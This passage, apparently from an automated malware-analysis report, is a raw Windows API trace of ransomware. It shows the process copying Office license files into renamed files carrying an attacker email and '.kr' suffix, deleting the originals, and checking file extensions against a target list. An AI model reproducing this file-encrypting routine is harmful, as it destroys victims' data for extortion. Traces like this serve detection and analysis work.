Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.564] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.565] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0215.565] GetLastError () returned 0x0 [0215.565] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x516f, lpOverlapped=0x0) returned 1 [0215.567] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5170, lpOverlapped=0x0) returned 1 [0215.569] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.569] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10c, lpOverlapped=0x0) returned 1 [0215.569] SetEndOfFile (hFile=0x538) returned 1 [0215.569] CloseHandle (hObject=0x538) returned 1 [0215.569] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.569] SetEndOfFile (hFile=0x474) returned 1 [0215.572] CloseHandle (hObject=0x474) returned 1 [0215.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ppd.xrm-ms")) returned 1 [0215.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms") returned 78 [0215.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms") returned 78 [0215.573] lstrlenW (lpString=".doc") returned 4 [0215.573] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.574] lstrlenW (lpString=".docx") returned 5 [0215.574] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.574] lstrlenW (lpString=".pdf") returned 4 [0215.574] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.574] lstrlenW (lpString=".xls") returned 4 [0215.574] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.574] lstrlenW (lpString=".xlsx") returned 5 [0215.574] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.574] lstrlenW (lpString=".ppt") returned 4 [0215.574] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms") returned 78 [0215.574] lstrlenW (lpString=".zip") returned 4 [0215.574] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.574] lstrlenW (lpString=".rar") returned 4 [0215.574] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.574] lstrlenW (lpString=".bz2") returned 4 [0215.574] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.574] lstrlenW (lpString=".7z") returned 3 [0215.574] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms") returned 78 [0215.574] lstrlenW (lpString=".dbf") returned 4 [0215.574] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms") returned 78 [0215.574] lstrlenW (lpString=".1cd") returned 4 [0215.574] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms") returned 78 [0215.574] lstrlenW (lpString=".jpg") returned 4 [0215.574] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms") returned 78 [0215.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms") returned 78 [0215.574] lstrlenW (lpString=".doc") returned 4 [0215.574] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.575] lstrlenW (lpString=".docx") returned 5 [0215.575] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.575] lstrlenW (lpString=".pdf") returned 4 [0215.575] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.575] lstrlenW (lpString=".xls") returned 4 [0215.575] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.575] lstrlenW (lpString=".xlsx") returned 5 [0215.575] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.575] lstrlenW (lpString=".ppt") returned 4 [0215.575] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms") returned 78 [0215.575] lstrlenW (lpString=".zip") returned 4 [0215.575] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.575] lstrlenW (lpString=".rar") returned 4 [0215.575] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.575] lstrlenW (lpString=".bz2") returned 4 [0215.575] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.575] lstrlenW (lpString=".7z") returned 3 [0215.575] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms") returned 78 [0215.575] lstrlenW (lpString=".dbf") returned 4 [0215.575] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms") returned 78 [0215.575] lstrlenW (lpString=".1cd") returned 4 [0215.575] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms") returned 78 [0215.575] lstrlenW (lpString=".jpg") returned 4 [0215.575] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.575] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.576] lstrlenW (lpString="ProjectProR_Grace-ul-oob.xrm-ms") returned 31 [0215.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.576] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11611) returned 1 [0215.576] CloseHandle (hObject=0x474) returned 1 [0215.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ul-oob.xrm-ms")) returned 0x220 [0215.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.577] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.577] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0215.578] GetLastError () returned 0x0 [0215.578] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d5b, lpOverlapped=0x0) returned 1 [0215.579] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0215.581] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.581] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x112, lpOverlapped=0x0) returned 1 [0215.581] SetEndOfFile (hFile=0x538) returned 1 [0215.581] CloseHandle (hObject=0x538) returned 1 [0215.581] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.581] SetEndOfFile (hFile=0x474) returned 1 [0215.583] CloseHandle (hObject=0x474) returned 1 [0215.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ul-oob.xrm-ms")) returned 1 [0215.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms") returned 81 [0215.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms") returned 81 [0215.585] lstrlenW (lpString=".doc") returned 4 [0215.585] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.585] lstrlenW (lpString=".docx") returned 5 [0215.585] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.585] lstrlenW (lpString=".pdf") returned 4 [0215.585] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.585] lstrlenW (lpString=".xls") returned 4 [0215.585] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.585] lstrlenW (lpString=".xlsx") returned 5 [0215.585] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.585] lstrlenW (lpString=".ppt") returned 4 [0215.585] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms") returned 81 [0215.585] lstrlenW (lpString=".zip") returned 4 [0215.585] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.585] lstrlenW (lpString=".rar") returned 4 [0215.585] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.585] lstrlenW (lpString=".bz2") returned 4 [0215.586] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.586] lstrlenW (lpString=".7z") returned 3 [0215.586] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms") returned 81 [0215.586] lstrlenW (lpString=".dbf") returned 4 [0215.586] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms") returned 81 [0215.586] lstrlenW (lpString=".1cd") returned 4 [0215.586] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms") returned 81 [0215.586] lstrlenW (lpString=".jpg") returned 4 [0215.586] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms") returned 81 [0215.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms") returned 81 [0215.586] lstrlenW (lpString=".doc") returned 4 [0215.586] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.586] lstrlenW (lpString=".docx") returned 5 [0215.586] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.586] lstrlenW (lpString=".pdf") returned 4 [0215.586] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.586] lstrlenW (lpString=".xls") returned 4 [0215.586] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.586] lstrlenW (lpString=".xlsx") returned 5 [0215.586] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.586] lstrlenW (lpString=".ppt") returned 4 [0215.586] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms") returned 81 [0215.586] lstrlenW (lpString=".zip") returned 4 [0215.586] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.586] lstrlenW (lpString=".rar") returned 4 [0215.586] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.586] lstrlenW (lpString=".bz2") returned 4 [0215.587] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.587] lstrlenW (lpString=".7z") returned 3 [0215.587] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms") returned 81 [0215.587] lstrlenW (lpString=".dbf") returned 4 [0215.587] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms") returned 81 [0215.587] lstrlenW (lpString=".1cd") returned 4 [0215.587] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ul-oob.xrm-ms") returned 81 [0215.587] lstrlenW (lpString=".jpg") returned 4 [0215.587] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.587] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.587] lstrlenW (lpString="ProjectProR_OEM_Perp-pl.xrm-ms") returned 30 [0215.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.588] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10655) returned 1 [0215.588] CloseHandle (hObject=0x474) returned 1 [0215.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-pl.xrm-ms")) returned 0x220 [0215.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.588] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.588] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0215.589] GetLastError () returned 0x0 [0215.589] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x299f, lpOverlapped=0x0) returned 1 [0215.762] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0215.763] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.763] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x110, lpOverlapped=0x0) returned 1 [0215.763] SetEndOfFile (hFile=0x538) returned 1 [0215.809] CloseHandle (hObject=0x538) returned 1 [0215.809] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.809] SetEndOfFile (hFile=0x474) returned 1 [0215.821] CloseHandle (hObject=0x474) returned 1 [0215.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-pl.xrm-ms")) returned 1 [0215.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms") returned 80 [0215.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms") returned 80 [0215.823] lstrlenW (lpString=".doc") returned 4 [0215.823] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.823] lstrlenW (lpString=".docx") returned 5 [0215.823] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.823] lstrlenW (lpString=".pdf") returned 4 [0215.823] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.823] lstrlenW (lpString=".xls") returned 4 [0215.823] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.823] lstrlenW (lpString=".xlsx") returned 5 [0215.823] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.823] lstrlenW (lpString=".ppt") returned 4 [0215.823] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms") returned 80 [0215.823] lstrlenW (lpString=".zip") returned 4 [0215.823] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.823] lstrlenW (lpString=".rar") returned 4 [0215.823] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.823] lstrlenW (lpString=".bz2") returned 4 [0215.823] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.823] lstrlenW (lpString=".7z") returned 3 [0215.823] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms") returned 80 [0215.823] lstrlenW (lpString=".dbf") returned 4 [0215.823] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms") returned 80 [0215.824] lstrlenW (lpString=".1cd") returned 4 [0215.824] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms") returned 80 [0215.824] lstrlenW (lpString=".jpg") returned 4 [0215.824] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms") returned 80 [0215.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms") returned 80 [0215.824] lstrlenW (lpString=".doc") returned 4 [0215.824] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.824] lstrlenW (lpString=".docx") returned 5 [0215.824] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.824] lstrlenW (lpString=".pdf") returned 4 [0215.824] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.824] lstrlenW (lpString=".xls") returned 4 [0215.824] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.824] lstrlenW (lpString=".xlsx") returned 5 [0215.824] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.824] lstrlenW (lpString=".ppt") returned 4 [0215.824] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms") returned 80 [0215.824] lstrlenW (lpString=".zip") returned 4 [0215.824] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.824] lstrlenW (lpString=".rar") returned 4 [0215.824] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.824] lstrlenW (lpString=".bz2") returned 4 [0215.824] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.824] lstrlenW (lpString=".7z") returned 3 [0215.824] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms") returned 80 [0215.824] lstrlenW (lpString=".dbf") returned 4 [0215.824] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms") returned 80 [0215.824] lstrlenW (lpString=".1cd") returned 4 [0215.825] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-pl.xrm-ms") returned 80 [0215.825] lstrlenW (lpString=".jpg") returned 4 [0215.825] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.825] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.825] lstrlenW (lpString="ProjectProR_Retail-ppd.xrm-ms") returned 29 [0215.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.825] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20850) returned 1 [0215.826] CloseHandle (hObject=0x474) returned 1 [0215.826] GetFileAttributesW 